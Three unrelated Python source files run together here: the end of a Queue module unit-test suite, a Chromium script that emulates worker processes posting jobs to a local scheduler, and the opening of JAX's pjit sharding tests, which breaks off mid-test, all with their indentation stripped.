# exception regardless of whether trigger_func is called will lead to
# timing-dependent sporadic failures, and one of those went rarely seen but
# undiagnosed for years. Now block_func must be unexceptional. If block_func
# is supposed to raise an exception, call do_exceptional_blocking_test()
# instead.
class BlockingTestMixin:
def do_blocking_test(self, block_func, block_args, trigger_func, trigger_args):
self.t = _TriggerThread(trigger_func, trigger_args)
self.t.start()
self.result = block_func(*block_args)
# If block_func returned before our thread made the call, we failed!
if not self.t.startedEvent.is_set():
self.fail("blocking function '%r' appeared not to block" %
block_func)
self.t.join(10) # make sure the thread terminates
if self.t.is_alive():
self.fail("trigger function '%r' appeared to not return" %
trigger_func)
return self.result
# Call this instead if block_func is supposed to raise an exception.
def do_exceptional_blocking_test(self,block_func, block_args, trigger_func,
trigger_args, expected_exception_class):
self.t = _TriggerThread(trigger_func, trigger_args)
self.t.start()
try:
try:
block_func(*block_args)
except expected_exception_class:
raise
else:
self.fail("expected exception of kind %r" %
expected_exception_class)
finally:
self.t.join(10) # make sure the thread terminates
if self.t.is_alive():
self.fail("trigger function '%r' appeared to not return" %
trigger_func)
if not self.t.startedEvent.is_set():
self.fail("trigger thread ended but event never set")
class BaseQueueTest(unittest.TestCase, BlockingTestMixin):
def setUp(self):
self.cum = 0
self.cumlock = threading.Lock()
def simple_queue_test(self, q):
if not q.empty():
raise RuntimeError, "Call this function with an empty queue"
# I guess we better check things actually queue correctly a little :)
q.put(111)
q.put(333)
q.put(222)
target_order = dict(Queue = [111, 333, 222],
LifoQueue = [222, 333, 111],
PriorityQueue = [111, 222, 333])
actual_order = [q.get(), q.get(), q.get()]
self.assertEqual(actual_order, target_order[q.__class__.__name__],
"Didn't seem to queue the correct data!")
for i in range(QUEUE_SIZE-1):
q.put(i)
self.assertTrue(not q.empty(), "Queue should not be empty")
self.assertTrue(not q.full(), "Queue should not be full")
last = 2 * QUEUE_SIZE
full = 3 * 2 * QUEUE_SIZE
q.put(last)
self.assertTrue(q.full(), "Queue should be full")
try:
q.put(full, block=0)
self.fail("Didn't appear to block with a full queue")
except Queue.Full:
pass
try:
q.put(full, timeout=0.01)
self.fail("Didn't appear to time-out with a full queue")
except Queue.Full:
pass
# Test a blocking put
self.do_blocking_test(q.put, (full,), q.get, ())
self.do_blocking_test(q.put, (full, True, 10), q.get, ())
# Empty it
for i in range(QUEUE_SIZE):
q.get()
self.assertTrue(q.empty(), "Queue should be empty")
try:
q.get(block=0)
self.fail("Didn't appear to block with an empty queue")
except Queue.Empty:
pass
try:
q.get(timeout=0.01)
self.fail("Didn't appear to time-out with an empty queue")
except Queue.Empty:
pass
# Test a blocking get
self.do_blocking_test(q.get, (), q.put, ('empty',))
self.do_blocking_test(q.get, (True, 10), q.put, ('empty',))
def worker(self, q):
while True:
x = q.get()
if x is None:
q.task_done()
return
with self.cumlock:
self.cum += x
q.task_done()
def queue_join_test(self, q):
self.cum = 0
for i in (0,1):
threading.Thread(target=self.worker, args=(q,)).start()
for i in xrange(100):
q.put(i)
q.join()
self.assertEqual(self.cum, sum(range(100)),
"q.join() did not block until all tasks were done")
for i in (0,1):
q.put(None) # instruct the threads to close
q.join() # verify that you can join twice
def test_queue_task_done(self):
# Test to make sure a queue task completed successfully.
q = self.type2test()
try:
q.task_done()
except ValueError:
pass
else:
self.fail("Did not detect task count going negative")
def test_queue_join(self):
# Test that a queue join()s successfully, and before anything else
# (done twice for insurance).
q = self.type2test()
self.queue_join_test(q)
self.queue_join_test(q)
try:
q.task_done()
except ValueError:
pass
else:
self.fail("Did not detect task count going negative")
def test_simple_queue(self):
# Do it a couple of times on the same queue.
# Done twice to make sure works with same instance reused.
q = self.type2test(QUEUE_SIZE)
self.simple_queue_test(q)
self.simple_queue_test(q)
class QueueTest(BaseQueueTest):
type2test = Queue.Queue
class LifoQueueTest(BaseQueueTest):
type2test = Queue.LifoQueue
class PriorityQueueTest(BaseQueueTest):
type2test = Queue.PriorityQueue
# A Queue subclass that can provoke failure at a moment's notice :)
class FailingQueueException(Exception):
pass
class FailingQueue(Queue.Queue):
def __init__(self, *args):
self.fail_next_put = False
self.fail_next_get = False
Queue.Queue.__init__(self, *args)
def _put(self, item):
if self.fail_next_put:
self.fail_next_put = False
raise FailingQueueException, "You Lose"
return Queue.Queue._put(self, item)
def _get(self):
if self.fail_next_get:
self.fail_next_get = False
raise FailingQueueException, "You Lose"
return Queue.Queue._get(self)
class FailingQueueTest(unittest.TestCase, BlockingTestMixin):
def failing_queue_test(self, q):
if not q.empty():
raise RuntimeError, "Call this function with an empty queue"
for i in range(QUEUE_SIZE-1):
q.put(i)
# Test a failing non-blocking put.
q.fail_next_put = True
try:
q.put("oops", block=0)
self.fail("The queue didn't fail when it should have")
except FailingQueueException:
pass
q.fail_next_put = True
try:
q.put("oops", timeout=0.1)
self.fail("The queue didn't fail when it should have")
except FailingQueueException:
pass
q.put("last")
self.assertTrue(q.full(), "Queue should be full")
# Test a failing blocking put
q.fail_next_put = True
try:
self.do_blocking_test(q.put, ("full",), q.get, ())
self.fail("The queue didn't fail when it should have")
except FailingQueueException:
pass
# Check the Queue isn't damaged.
# put failed, but get succeeded - re-add
q.put("last")
# Test a failing timeout put
q.fail_next_put = True
try:
self.do_exceptional_blocking_test(q.put, ("full", True, 10), q.get, (),
FailingQueueException)
self.fail("The queue didn't fail when it should have")
except FailingQueueException:
pass
# Check the Queue isn't damaged.
# put failed, but get succeeded - re-add
q.put("last")
self.assertTrue(q.full(), "Queue should be full")
q.get()
self.assertTrue(not q.full(), "Queue should not be full")
q.put("last")
self.assertTrue(q.full(), "Queue should be full")
# Test a blocking put
self.do_blocking_test(q.put, ("full",), q.get, ())
# Empty it
for i in range(QUEUE_SIZE):
q.get()
self.assertTrue(q.empty(), "Queue should be empty")
q.put("first")
q.fail_next_get = True
try:
q.get()
self.fail("The queue didn't fail when it should have")
except FailingQueueException:
pass
self.assertTrue(not q.empty(), "Queue should not be empty")
q.fail_next_get = True
try:
q.get(timeout=0.1)
self.fail("The queue didn't fail when it should have")
except FailingQueueException:
pass
self.assertTrue(not q.empty(), "Queue should not be empty")
q.get()
self.assertTrue(q.empty(), "Queue should be empty")
q.fail_next_get = True
try:
self.do_exceptional_blocking_test(q.get, (), q.put, ('empty',),
FailingQueueException)
self.fail("The queue didn't fail when it should have")
except FailingQueueException:
pass
# put succeeded, but get failed.
self.assertTrue(not q.empty(), "Queue should not be empty")
q.get()
self.assertTrue(q.empty(), "Queue should be empty")
def test_failing_queue(self):
# Test to make sure a queue is functioning correctly.
# Done twice to the same instance.
q = FailingQueue(QUEUE_SIZE)
self.failing_queue_test(q)
self.failing_queue_test(q)
def test_main():
test_support.run_unittest(QueueTest, LifoQueueTest, PriorityQueueTest,
FailingQueueTest)
if __name__ == "__main__":
test_main()
|
__main__.py
|
#!/usr/bin/env python
# Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import argparse
import json
import logging
import random
import sys
import time
from multiprocessing import Process, current_process
import requests
LOGGER = logging.getLogger(__name__)
def gen_simple_deps(fanout, depth):
"""Create pseudorandom fake dependency graphs."""
graph = {
'deadbeefdeadbeefdeadbeefdeadbeefdeadbeef':
['baddecafbaddecafbaddecafbaddecafbaddecaf',
'cafebabecafebabecafebabecafebabecafebabe'],
'baddecafbaddecafbaddecafbaddecafbaddecaf':
['f005ba11f005ba11f005ba11f005ba11f005ba11'],
'cafebabecafebabecafebabecafebabecafebabe':
['f005ba11f005ba11f005ba11f005ba11f005ba11'],
}
roots = ['deadbeefdeadbeefdeadbeefdeadbeefdeadbeef']
return graph, roots
def gen_deps(fanout, depth, density):
"""Create pseudorandom fake dependency graphs."""
nodes = set()
roots = set()
graph = {}
ranks = random.randint(int(depth * 0.5), int(depth * 1.5))
for _ in xrange(ranks):
width = random.randint(int(fanout * 0.5), int(fanout * 1.5))
new_nodes = ['%040x' % random.randrange(16**40) for _ in xrange(width)]
roots.update(new_nodes)
for i in nodes:
for j in new_nodes:
if random.random() < density:
graph.setdefault(i, []).append(j)
roots.discard(j)
nodes.update(new_nodes)
return graph, roots
def post_jobs(url, jobs):
"""Post initial collection of jobs to the scheduler."""
job_url = '%s/api/v1/job' % url
for job in jobs:
params = {'uid': 'seeder'}
data = {'name': job[:8], 'binary': job, 'version': 0}
r = requests.post(job_url, params=params, data=json.dumps(data))
if r.status_code != requests.codes.ok or r.json()['status'] != 'OK':
LOGGER.error('Failed to post initial job %s: %r', job, r._content)
continue
LOGGER.debug('Posted initial job %s', job)
def fake_slave(url, graph):
"""Run a fake slave worker.
Performs the following actions, in order:
* Heartbeat
* Acquire a job
* Sleep
* Either:
* Complete job; or
* Halt job with some number of dependencies
* Rinse (sleep)
* Repeat
Whether the job completes or halts with dependencies is determined by the
|graphs| input argument. This is a collection of pre-generated dependency
DAGs (represented as nodes mapped to a list of their children). When the
slave worker picks up a job, it emits dependencies based on the children of
that job found in the graph. If the job has no children, it is completed.
The slave worker exits when it fails to acquire a job three consecutive times.
"""
worker_id = current_process().name
LOGGER.debug('Hello from worker %s', worker_id)
uid = {'uid': worker_id}
heartbeat_url = '%s/api/v1/worker/heartbeat' % (url)
acquire_url = '%s/api/v1/worker/acquire_job' % (url)
job_url = '%s/api/v1/job' % (url)
failures_left = 3
while failures_left:
r = requests.post(heartbeat_url, params=uid)
LOGGER.debug('Sent request %s %s', r.request.url, r.request.body)
if r.status_code != requests.codes.ok or r.json()['status'] != 'OK':
LOGGER.error('%s failed to send heartbeat: %r', worker_id, r._content)
failures_left -= 1
continue
r = requests.post(acquire_url, params=uid)
LOGGER.debug('Sent request %s %s', r.request.url, r.request.body)
if r.status_code != requests.codes.ok or r.json()['status'] != 'OK':
LOGGER.error('%s failed to acquire job: %r', worker_id, r._content)
failures_left -= 1
continue
job = r.json()['result']['job']
LOGGER.info('%s acquired job %s', worker_id, job['name'])
failures_left = 3
time.sleep(random.uniform(0, 2))
children = graph.get(job['binary'])
if children:
deps = []
for dep in children:
data = {'name': dep[:8], 'binary': dep, 'version': 0}
r = requests.post(job_url, params=uid, data=json.dumps(data))
LOGGER.debug('Sent request %s %s', r.request.url, r.request.body)
if r.status_code != requests.codes.ok or r.json()['status'] != 'OK':
LOGGER.error('Failed to post dependency %s: %r', dep, r._content)
continue
LOGGER.debug('Posted dependency %s', dep)
deps.append(r.json()['result']['job']['id'])
data = {'state': 'queued', 'dependencies': deps}
r = requests.put('%s/%s' % (job_url, job['id']),
params=uid, data=json.dumps(data))
LOGGER.debug('Sent request %s %s', r.request.url, r.request.body)
if r.status_code != requests.codes.ok or r.json()['status'] != 'OK':
LOGGER.error('%s failed to halt job: %r', worker_id, r._content)
continue
LOGGER.info('%s halted job %s', worker_id, job)
else:
data = {'state': 'completed'}
r = requests.put('%s/%s' % (job_url, job['id']),
params=uid, data=json.dumps(data))
LOGGER.debug('Sent request %s %s', r.request.url, r.request.body)
if r.status_code != requests.codes.ok or r.json()['status'] != 'OK':
LOGGER.error('%s failed to complete job: %r', worker_id, r._content)
continue
LOGGER.info('%s completed job %s', worker_id, job)
time.sleep(random.uniform(0, 2))
def parse_args(args):
parser = argparse.ArgumentParser(
description='Emulate one or more slave workers.')
parser.add_argument('-u', '--url', default='http://localhost:8080',
help='url of scheduler')
parser.add_argument('-j', '--slaves', default=1, metavar='N', type=int,
help='number of slaves to emulate')
parser.add_argument('-f', '--fanout', default=5, metavar='N', type=int,
help='fanout / width of dependency tree')
parser.add_argument('-d', '--depth', default=5, metavar='N', type=int,
help='depth of dependency tree')
parser.add_argument('-e', '--edges', default=0.3, type=float,
help='chance of each edge in dependency tree')
parser.add_argument('-t', '--timeout', default=5, metavar='S', type=int,
help='how long (in seconds) to let slaves run')
loglevel = parser.add_mutually_exclusive_group()
loglevel.add_argument('-v', '--verbose', action='store_const', const='DEBUG',
dest='loglevel', default='INFO')
loglevel.add_argument('-q', '--quiet', action='store_const', const='ERROR',
dest='loglevel', default='INFO')
return parser.parse_args(args)
def main(args):
opts = parse_args(args)
LOGGER.setLevel(opts.loglevel)
graph, roots = gen_deps(opts.fanout, opts.depth, opts.edges)
post_jobs(opts.url, roots)
children = []
for _ in xrange(opts.slaves):
c = Process(target=fake_slave, args=(opts.url, graph))
children.append(c)
LOGGER.debug('Starting child %s.', c.name)
c.start()
for c in children:
c.join()
LOGGER.debug('Joining child %s.', c.name)
if __name__ == '__main__':
logging.basicConfig()
sys.exit(main(sys.argv[1:]))
|
pjit_test.py
|
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import re
from functools import partial
import logging
import threading
import unittest
from collections import OrderedDict, namedtuple
from absl.testing import absltest
from absl.testing import parameterized
import numpy as np
import jax
import jax.numpy as jnp
from jax._src import test_util as jtu
from jax.errors import JAXTypeError
from jax import lax
# TODO(skye): do we still wanna call this PartitionSpec?
from jax.experimental import PartitionSpec as P
from jax.experimental.maps import xmap, mesh
import jax.experimental.pjit as pjit_lib
from jax.experimental.pjit import pjit, pjit_p, with_sharding_constraint, SpecSync
from jax.interpreters import pxla
from jax.interpreters import xla
from jax._src.lib import xla_client
from jax._src.util import prod, curry, unzip2
from jax.config import config
config.parse_flags_with_absl()
def setUpModule():
if jax.default_backend() not in {'gpu', 'tpu'}:
raise unittest.SkipTest("pjit only supports GPU and TPU backends")
jtu.set_spmd_lowering_flag(True)
def tearDownModule():
jtu.restore_spmd_lowering_flag()
@curry
def check_1d_2d_mesh(f, set_mesh):
return parameterized.named_parameters(
{"testcase_name": "_" + name, "mesh": mesh, "resources": resources}
for name, mesh, resources in (
("2", (("x", 2),), "x"),
("2x1", (("x", 2), ("y", 1)), ("x", "y")),
("2x2", (("x", 2), ("y", 2)), ("x", "y")),
))(jtu.with_mesh_from_kwargs(f) if set_mesh else f)
# TODO(skye): make the buffer donation utils part of JaxTestCase
class PJitTest(jtu.BufferDonationTestCase):
@jtu.with_mesh([('x', 1)])
def testDeviceBufferAval(self):
@partial(pjit, in_axis_resources=None, out_axis_resources=P('x'))
def f(x):
return x
shape = (2, 2)
x = np.arange(prod(shape), dtype=np.float32).reshape(shape)
actual = f(x)
expected = x
self.assertAllClose(actual, expected, check_dtypes=False)
self.assertIsInstance(actual, pxla.ShardedDeviceArray)
self.assertLen(actual.device_buffers, 1)
self.assertAllClose(
actual.device_buffers[0].to_py(), expected, check_dtypes=False)
# Repro for a bug on device_buffer aval
_ = repr(actual.device_buffers)
@jtu.with_mesh([('x', 2)])
def testBasic1D(self):
@partial(pjit,
in_axis_resources=(P('x'), P('x')),
out_axis_resources=None)
def f(x, y):
return x + y
shape = (8, 8)
x = np.arange(prod(shape), dtype=np.float32).reshape(shape)
actual = f(x, x + 1)
expected = x + (x + 1)
self.assertAllClose(actual, expected, check_dtypes=False)
self.assertIsInstance(actual, pxla.ShardedDeviceArray)
self.assertLen(actual.device_buffers, 2)
self.assertAllClose(actual.device_buffers[0].to_py(), expected,
check_dtypes=False)
@jtu.with_mesh([('x', 2), ('y', 2)])
def testBasic2D(self):
@partial(pjit,
in_axis_resources=(P(None, 'x', 'y'), P('y')),
out_axis_resources=P('x'))
def f(x, y):
return x @ y
x_shape = (8, 6, 4)
y_shape = (4, 2)
x = jnp.arange(np.prod(x_shape)).reshape(x_shape)
y = jnp.arange(np.prod(y_shape)).reshape(y_shape)
actual = f(x, y)
expected = x @ y
self.assertAllClose(actual, expected, check_dtypes=False)
self.assertIsInstance(actual, pxla.ShardedDeviceArray)
self.assertLen(actual.device_buffers, 4)
split0, split1 = np.split(expected, 2)
self.assertAllClose(actual.device_buffers[0].to_py(), split0,
check_dtypes=False)
self.assertAllClose(actual.device_buffers[1].to_py(), split0,
check_dtypes=False)
self.assertAllClose(actual.device_buffers[2].to_py(), split1,
check_dtypes=False)
self.assertAllClose(actual.device_buffers[3].to_py(), split1,
check_dtypes=False)
@jtu.with_mesh([('x', 2), ('y', 2)])
def testTwoMeshAxisSharding(self):
@partial(pjit,
in_axis_resources=P(('x', 'y'),),
out_axis_resources=P(('x', 'y'),))
def f(x, y):
return x @ y
shape = (8, 8)
x = jnp.arange(np.prod(shape)).reshape(shape)
actual = f(x, x + 1)
expected = x @ (x + 1)
self.assertAllClose(actual, expected, check_dtypes=False)
self.assertIsInstance(actual, pxla.ShardedDeviceArray)
self.assertLen(actual.device_buffers, 4)
splits = np.split(expected, 4)
self.assertAllClose(actual.device_buffers[0].to_py(), splits[0],
check_dtypes=False)
self.assertAllClose(actual.device_buffers[1].to_py(), splits[1],
check_dtypes=False)
self.assertAllClose(actual.device_buffers[2].to_py(), splits[2],
check_dtypes=False)
self.assertAllClose(actual.device_buffers[3].to_py(), splits[3],
check_dtypes=False)
@jtu.with_mesh([('x', 2)])
def testBufferDonation(self):
@partial(pjit,
in_axis_resources=P('x'),
out_axis_resources=P('x'),
donate_argnums=0)
def f(x, y):
return x + y
shard = pjit(lambda x: x, in_axis_resources=P('x'),
out_axis_resources=P('x'))
x = shard(jnp.ones((2, 5)) * 4)
y = shard(jnp.ones((2, 5)) * 2)
expected = x + y
self.assertAllClose(f(x, y), expected)
self.assertNotDeleted(y)
self.assertDeleted(x)
@jtu.with_mesh([('x', 2), ('y', 1)])
def testShardingConstraint(self):
@partial(pjit, in_axis_resources=None, out_axis_resources=None)
def f(x):
y = x + 1
y = with_sharding_constraint(y, P('x', 'y'))
return y * 2
shape = (8, 8)
x = np.arange(prod(shape)).reshape(shape)
expected = (x + 1) * 2
actual = f(x)
self.assertAllClose(actual, expected, check_dtypes=False)
self.assertIsInstance(actual, pxla.ShardedDeviceArray)
self.assertLen(actual.device_buffers, 2)
self.assertAllClose(actual.device_buffers[0].to_py(), expected,
check_dtypes=False)
hlo = jax.xla_computation(f)(np.ones(shape))
# Annotation from with_sharding_constraint
self.assertIn("sharding={devices=[2,1]0,1}", hlo.as_hlo_text())
# Annotation from pjit
self.assertIn("sharding={replicated}", hlo.as_hlo_text())
@jtu.with_mesh([('x', 2), ('y', 1)])
def testShardingConstraintPyTree(self):
@partial(pjit, in_axis_resources=None, out_axis_resources=None)
def f(x):
x = with_sharding_constraint(x, [P('x', 'y'), P('y', 'x')])
x = x.copy()
x[0]["a"] *= 2
return x
shape = (8, 8)
v = np.arange(prod(shape)).reshape(shape)
x = [{"a": v, "b": v * 2}, v * 3]
actual = f(x)
expected = x.copy()
expected[0]["a"] *= 2
self.assertAllClose(actual, expected, check_dtypes=False)
self.assertLen(actual[0]["a"].device_buffers, 2)
hlo = jax.xla_computation(f)(x)
# Annotations from with_sharding_constraint
self.assertIn("sharding={devices=[2,1]0,1}", hlo.as_hlo_text())
self.assertIn("sharding={devices=[1,2]0,1}", hlo.as_hlo_text())
# Annotation from pjit
self.assertIn("sharding={replicated}", hlo.as_hlo_text())
def testCaching(self):
def f(x):
assert should_be_tracing
return jnp.sin(x) * 2
x = np.arange(16).reshape(4, 4)
devices = np.array(list(jax.local_devices())[:4])
if devices.size < 4:
raise unittest.SkipTest("Test requires 4 devices")
devices = devices.reshape((2, 2))
with mesh(devices, ('x', 'y')):
should_be_tracing = True
pjit(f, in_axis_resources=P(('x', 'y')), out_axis_resources=None)(x)
should_be_tracing = False
pjit(f, in_axis_resources=P(('x', 'y')), out_axis_resources=None)(x)
# Re-create the mesh to make sure that has no influence on caching
with mesh(devices, ('x', 'y')):
should_be_tracing = False
pjit(f, in_axis_resources=P(('x', 'y')), out_axis_resources=None)(x)
@jtu.with_mesh([('x', 2), ('y', 1)])
def testNested(self):
# Add a constant captured by the nested pjit to make things more complicated
h = jnp.arange(4)
f = pjit(lambda x: x.sum() + h.sum(), in_axis_resources=P('x', 'y'), out_axis_resources=None)
g = pjit(lambda x: f(jnp.sin(x)), in_axis_resources=P('x', None), out_axis_resources=None)
x = jnp.arange(16).reshape((4, 4))
y = g(x)
self.assertAllClose(y, jnp.sin(x).sum() + h.sum())
self.assertTrue(hasattr(y, "sharding_spec"))
@check_1d_2d_mesh(set_mesh=True)
@unittest.skipIf(jax._src.lib.version < (0, 1, 72), "Needs jaxlib 0.1.72+")
def testAutodiff(self, mesh, resources):
if len(mesh) != 2: return
assert resources == ('x', 'y')
# Add a constant captured by the nested pjit to make things more complicated
h = jnp.arange(4)
f = pjit(lambda x: x.sum(1) * h.sum(),
in_axis_resources=P('x', 'y'), out_axis_resources=P(('x', 'y')))
g = pjit(lambda x: f(jnp.sin(x * 4 + 2)),
in_axis_resources=P('x', None), out_axis_resources=P(('x', 'y')))
jtu.check_grads(g, (jnp.arange(16, dtype=jnp.float32).reshape((4, 4)) / 100,),
order=2)
@jtu.with_mesh([('x', 2), ('y', 1)])
def testEvalJaxpr(self):
x, y = jnp.arange(4), jnp.arange(5)
f = pjit(lambda x, y: x.sum() + jnp.sin(y),
in_axis_resources=(P('x'), P('y')),
out_axis_resources=P('y'))
f_jaxpr = jax.make_jaxpr(f)(x, y)
f_eval = jax.core.jaxpr_as_fun(f_jaxpr)
r, = f_eval(x, y)
self.assertAllClose(r, x.sum() + jnp.sin(y))
@jtu.with_mesh([('x', 2)])
def testNonArrayArg(self):
self.assertEqual(pjit(lambda x: x + 2,
in_axis_resources=None,
out_axis_resources=None)(1), 3)
@jtu.with_mesh([('x', 2)])
def testNonHashableAxisResources(self):
x = jnp.arange(4)
y = pjit(lambda x: {'b': x['a'] + 2},
in_axis_resources=({'a': P('x')},),
out_axis_resources={'b': P('x')})({'a': x})
self.assertAllClose(y, {'b': x + 2})
@jtu.with_mesh([('x', 2)])
def testGradOfConstraint(self):
# Make sure that we can compute grads through sharding constraints
h = lambda x: jnp.sin(with_sharding_constraint(x, P('x'))).sum()
f = pjit(lambda x: jax.grad(h)(x),
in_axis_resources=None, out_axis_resources=None)
x = jnp.arange(8, dtype=jnp.float32)
self.assertAllClose(f(x), jnp.cos(x))
@jtu.with_mesh([('x', 2)])
def testNoopPartitionSpecs(self):
noops = [P(), P(None), P(()), P((), None), P(None, None, ())]
x = jnp.arange(8).reshape((2, 2, 2))
for spec in noops:
y = pjit(lambda x: x * 2, in_axis_resources=spec, out_axis_resources=spec)(x)
self.assertAllClose(y, x * 2)
@jtu.with_mesh([('x', 2)])
def testVmapModifiesAxisResources(self):
h = pjit(lambda x, y: (x + y, x, y), in_axis_resources=P('x'), out_axis_resources=None)
x = jnp.arange(4)
y = jnp.arange(5*4).reshape((5, 4))
jaxpr = jax.make_jaxpr(jax.vmap(h, in_axes=(None, 0)))(x, y).jaxpr
eqn = jaxpr.eqns[0]
self.assertIs(eqn.primitive, pjit_p)
x_sync, y_sync = (spec.sync for spec in eqn.params['in_axis_resources'])
self.assertEqual(x_sync, SpecSync.IN_SYNC)
self.assertEqual(y_sync, SpecSync.DIM_PERMUTE)
x_sync, y_sync, z_sync = (spec.sync for spec in eqn.params['out_axis_resources'])
self.assertEqual(x_sync, SpecSync.DIM_PERMUTE)
self.assertEqual(y_sync, SpecSync.IN_SYNC)
self.assertEqual(z_sync, SpecSync.DIM_PERMUTE)
@jtu.with_mesh([('x', 2)])
def testVMap(self):
f = pjit(lambda x, y: (x + y, x), in_axis_resources=P('x'), out_axis_resources=P('x'))
x = jnp.arange(4)
y = jnp.arange(5*4).reshape((5, 4))
z, w = jax.vmap(f, in_axes=(None, 0), out_axes=(0, None))(x, y)
self.assertAllClose(z, x + y)
self.assertAllClose(w, x)
self.assertEqual(z.sharding_spec.sharding, (pxla.NoSharding(), pxla.Chunked([2])))
self.assertEqual(w.sharding_spec.sharding, (pxla.Chunked([2]),))
@jtu.with_mesh([('x', 2)])
def testVMapShardingConstraint(self):
f = pjit(lambda x: with_sharding_constraint(x, P('x')),
in_axis_resources=P(), out_axis_resources=P('x'))
x = jnp.arange(5*4).reshape((5, 4))
jaxpr = jax.make_jaxpr(jax.vmap(f))(x)
pjit_eqn, = jaxpr.eqns
constraint_eqn, = pjit_eqn.params['jaxpr'].eqns
self.assertEqual(constraint_eqn.params['axis_resources'].partitions, ((), ('x',)))
self.assertEqual(constraint_eqn.params['axis_resources'].sync, SpecSync.DIM_PERMUTE)
@jtu.with_mesh([('x', 2), ('y', 1)])
def testShardingInXMap(self):
h = pjit(lambda x: x, in_axis_resources=P('x'), out_axis_resources=None)
f = xmap(lambda x: h(x * 2), in_axes=['i', ...], out_axes=['i', ...],
axis_resources={'i': 'y'})
x = jnp.arange(16).reshape((4, 4))
self.assertIn(pjit_p, xla.call_translations)
rule = xla.call_translations[pjit_p]
test_rule_called = False
def _test_rule(*args, **kwargs):
nonlocal test_rule_called
test_rule_called = True
in_axis_resources = kwargs['in_axis_resources']
self.assertEqual(len(in_axis_resources), 1)
self.assertIn(('y',), in_axis_resources[0].partitions)
return rule(*args, **kwargs)
try:
xla.call_translations[pjit_p] = _test_rule
f(x)
self.assertTrue(test_rule_called)
finally:
xla.call_translations[pjit_p] = rule
@jtu.with_mesh([('x', 2)])
def testLowerWithAbstractArgs(self):
x = jax.ShapeDtypeStruct((2, 2), jnp.float32)
# Make sure this doesn't crash
pjit(lambda x: x + 4, in_axis_resources=P('x'), out_axis_resources=P('x')).lower(x)
def testInfeed(self):
devices = np.array(jax.local_devices())
nr_devices = len(devices)
shape = (nr_devices * 3, nr_devices * 5)
def f_for_jit(x):
token = lax.create_token(x)
(y,), token = lax.infeed(
token, shape=(jax.ShapedArray(x.shape, np.float32),))
(z,), token = lax.infeed(
token, shape=(jax.ShapedArray(x.shape, np.float32),))
(w,), token = lax.infeed(
token, shape=(jax.ShapedArray(x.shape, np.float32),))
return x + y + z + w
x = np.arange(np.prod(shape), dtype=np.float32).reshape(shape)
y = x * 2.
z = x * 3.
w = x * 4.
# Transfer data to infeed before executing the function. For GPUs, the
# execution of the compiled function is blocking, so transferring data
# to infeed before executing ensures that the execution does not deadlock
# waiting for the infeed data.
logging.info('Transfering to infeed for the jit call')
d = devices[0]
d.transfer_to_infeed((y,))
d.transfer_to_infeed((z,))
d.transfer_to_infeed((w,))
# JIT
logging.info('Making jit call')
res0 = jax.jit(f_for_jit)(x)
self.assertAllClose(res0, x + y + z + w, check_dtypes=True)
# PJIT
def f_for_pjit(x):
token = lax.create_token(x)
# A replicated infeed
(y,), token = lax.infeed(
token,
shape=(jax.ShapedArray(x.shape, np.float32),),
partitions=(None,))
# An infeed sharded on first axis
(z,), token = lax.infeed(
token,
shape=(jax.ShapedArray(x.shape, np.float32),),
partitions=(P(nr_devices, 1),))
# An infeed sharded on second axis
(w,), token = lax.infeed(
token,
shape=(jax.ShapedArray(x.shape, np.float32),),
partitions=(P(1, nr_devices),))
return x + y + z + w
logging.info('Transfering to infeed for the pjit call')
for didx, d in enumerate(devices):
# Transfer the whole array to all devices for replicated.
d.transfer_to_infeed((y,))
# For sharded infeed, transfer only the needed slices to each device.
d.transfer_to_infeed((z[3 * didx:3 * didx + 3, :]))
d.transfer_to_infeed((w[:, 5 * didx:5 * didx + 5],))
with mesh(devices, ['d']):
logging.info('Making pjit call')
res = pjit(
f_for_pjit, in_axis_resources=(P('d'),), out_axis_resources=P('d'))(
x)
self.assertAllClose(res0, res, check_dtypes=True)
def testOutfeed(self):
devices = np.array(jax.local_devices())
nr_devices = len(devices)
shape = (nr_devices * 3, nr_devices * 5)
def f(x):
token = lax.create_token(x)
token = lax.outfeed(token, x, partitions=(None,))
token = lax.outfeed(token, x, partitions=(P(nr_devices, 1),))
token = lax.outfeed(token, x, partitions=(P(1, nr_devices),))
return x
x = np.arange(np.prod(shape), dtype=np.float32).reshape(shape)
def dispatch():
with mesh(devices, ['d']):
logging.info('Making pjit call')
pjit(f, in_axis_resources=(P('d'),), out_axis_resources=P('d'))(x)
execution = threading.Thread(target=dispatch)
execution.start()
def check_outfeed(d, x):
y, = d.transfer_from_outfeed(
xla_client.shape_from_pyval((x,)).with_major_to_minor_layout_if_absent())
self.assertAllClose(x, y, check_dtypes=True)
logging.info('Transfering from outfeed for the pjit call')
for didx, d in enumerate(devices):
# Transfer the whole array from all devices for replicated.
check_outfeed(d, x)
# For sharded outfeed, the results are sliced.
check_outfeed(d, x[3 * didx:3 * didx + 3, :])
check_outfeed(d, x[:, 5 * didx:5 * didx + 5])
execution.join()
@jtu.with_mesh([('x', 2)])
def testWithCustomPRNGKey(self):
if not config.jax_enable_custom_prng:
raise unittest.SkipTest("test requires jax_enable_custom_prng")
key = jax.prng.seed_with_impl(jax.prng.rbg_prng_impl, 87)
# Make sure this doesn't crash
pjit(lambda x: x, in_axis_resources=(None), out_axis_resources=(None))(key)
@jtu.with_mesh([('x', 2), ('y', 2)])
def testLowerCompile(self):
@partial(pjit,
in_axis_resources=P(('x', 'y'),),
out_axis_resources=P(('x', 'y'),))
def f(x, y):
return x @ y
shape = (8, 8)
x = jnp.arange(np.prod(shape)).reshape(shape)
expected = x @ (x + 1)
exe = f.lower(x, x + 1).compile()
actual = exe(x, x + 1)
splits = np.split(expected, 4)
self.assertAllClose(actual.device_buffers[0].to_py(), splits[0],
check_dtypes=False)
self.assertAllClose(actual.device_buffers[1].to_py(), splits[1],
check_dtypes=False)
self.assertAllClose(actual.device_buffers[2].to_py(), splits[2],
check_dtypes=False)
self.assertAllClose(actual.device_buffers[3].to_py(), splits[3],
check_dtypes=False)
@jtu.with_mesh([('x', 2), ('y', 2)])
def testLowerCompileWithKwargs(self):
@partial(pjit,
in_axis_resources=P(('x', 'y'),),
out_axis_resources=P(('x', 'y'),))
def f(x, y, **kwargs):
return x @ y
shape = (8, 8)
